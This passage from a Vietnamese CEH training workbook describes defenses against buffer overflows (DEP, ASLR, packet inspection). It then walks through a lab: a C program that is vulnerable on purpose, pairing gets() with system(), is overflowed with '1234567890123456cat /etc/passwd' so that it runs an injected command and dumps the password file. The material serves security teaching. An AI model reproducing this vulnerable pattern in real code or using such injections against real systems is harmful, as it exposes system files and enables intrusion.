Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Các biến thể mới của Microsoft Windows cũng hỗ trợ bảo vệ không gian thực thi, với tên gọi Data Execution Prevention (ngăn chặn thực thi dữ liệu). Các phần mềm gắn kèm (Add-on) bao gồm:

SecureStack OverflowGuard BufferShield StackDefender Phương pháp bảo vệ không gian thực thi không chống lại được tấn công return-to-libc. Ngẫu nhiên hóa sơ đồ không gian địa chỉ

Ngẫu nhiên hóa sơ đồ không gian địa chỉ (Address space layout randomization - ASLR) là một tính năng an ninh máy tính có liên quan đến việc sắp xếp vị trí các vùng dữ liệu quan trọng (thường bao gồm nơi chứa mã thực thi và vị trí các thư viện, heap và stack) một cách ngẫu nhiên trong không gian địa chỉ của một tiến trình. Việc ngẫu nhiên hóa các địa chỉ bộ nhớ ảo mà các hàm và biến nằm tại đó làm cho việc khai thác một lỗi tràn bộ đệm trở nên khó khăn hơn, nhưng phải là không thể được. Nó còn buộc kẻ tấn công phải điều chỉnh khai thác cho hợp với từng hệ thống cụ thể, điều này làm thất bại cố gắng của các con Sâu internet Một phương pháp tương tự nhưng kém hiệu quả hơn, đó là kỹ thuật rebase đối với các tiến trình và thư viện trong không gian địa chỉ ảo. Kiểm tra sâu đối với gói tin

Biện pháp kiểm tra sâu đối với gói tin (deep packet inspection - DPI) có thể phát hiện các cố gắng từ xa để khai thác lỗi tràn bộ đệm ngay từ biên giới mạng. Các kỹ thuật này có khả năng chặn các gói tin có chứa chữ ký của một vụ tấn công đã biết hoặc chứa một chuỗi dài các lệnh No-Operation (NOP - lệnh rỗng không làm gì), các chuỗi như vậy thường được sử dụng khi vị trí của nội dung quan trọng (payload) của tấn công hơi có biến đổi.

Việc rà các gói tin không phải là một phương pháp hiệu quả vì nó chỉ có thể ngăn chặn các tấn công đã biết, và có nhiều cách để mã hóa một lệnh NOP. Các kẻ tấn công có thể đã sử dụng mã alphanumeric, metamorphic, và Shellcode tự sửa để tránh bị phát hiện bởi việc rà gói tin. II/ Thực hành: Ta khởi động hệ điều hành Linux bằng dĩa CD, sau đó soạn 1 đoạn code có nội dung sau:
VSIC Education Corporation Trang 118

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

#include <stdio.h> main() { char *name; char *dangerous_system_command; name = (char *) malloc(10); dangerous_system_command = (char *) malloc(128); printf("Address of name is %d\n", name); printf("Address of command is %d\n", dangerous_system_command); sprintf(dangerous_system_command, "echo %s", "Hello world!"); printf("What's your name?"); gets(name); system(dangerous_system_command); } Lưu đoạn sau đây thành file text và biên dịch bằng gcc root@1[Desktop]# gcc buffer.c -o buffer buffer.c:13:2: warning: no newline at end of file /tmp/ccefevDP.o(.text+0x82): In function `main': : warning: the `gets' function is dangerous and should not be used. root@1[Desktop]# ./buffer Address of name is 134520840 Address of command is 134520856 What's your name?hao Hello world! root@1[Desktop]# ./buffer Address of name is 134520840 Address of command is 134520856 What's your name?1234567890123456cat /etc/passwd root:x:0:0:root:/home/knoppix:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
VSIC Education Corporation Trang 119

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

proxy:x:13:13:proxy:/bin:/bin/sh majordom:x:30:31:Majordomo:/usr/lib/majordomo:/bin/sh postgres:x:31:32:postgres:/var/lib/postgres:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh msql:x:36:36:Mini SQL Database Manager:/var/lib/msql:/bin/sh operator:x:37:37:Operator:/var:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats/gnats-db:/bin/sh mysql:x:100:103:MySQL Server:/var/lib/mysql:/bin/false postfix:x:102:65534:Postfix Mailsystem:/var/spool/postfix:/bin/false knoppix:x:1000:1000:Kanotix User:/home/knoppix:/bin/bash nobody:x:65534:65534:nobody:/nonexistent:/bin/sh sshd:x:103:65534:SSH Server:/var/run/sshd:/bin/false partimag:x:104:65534::/home/partimag:/bin/false telnetd:x:101:101::/usr/lib/telnetd:/bin/false distccd:x:105:65534::/:/bin/false bind:x:106:108::/var/cache/bind:/bin/false messagebus:x:108:1002::/var/run/dbus:/bin/false captive:x:109:65534::/var/lib/captive:/bin/false sslwrap:x:107:1001::/etc/sslwrap:/bin/false distmp3:x:112:112::/nonexistent:/bin/false saned:x:114:114::/home/saned:/bin/false arpwatch:x:110:116:ARP Watcher,,,:/var/lib/arpwatch:/bin/sh snort:x:111:117:Snort IDS:/var/log/snort:/bin/false thpot:x:113:65534:Security Officer,,,:/usr/share/thpot:/dev/null ftp:x:115:65534::/home/ftp:/bin/false freerad:x:116:118::/etc/freeradius:/bin/false debian-tor:x:119:119::/var/lib/tor:/bin/bash Ta đã thực thi được lệnh cat /etc/passwd thông qua lỗi tràn bộ đệm.

VSIC Education Corporation

Trang 120

Sponsor Documents

Or use your account on DocShare.tips

Hide

Forgot your password?

Or register your new account on DocShare.tips

Hide

Lost your password? Please enter your email address. You will receive a link to create a new password.

Back to log-in

Close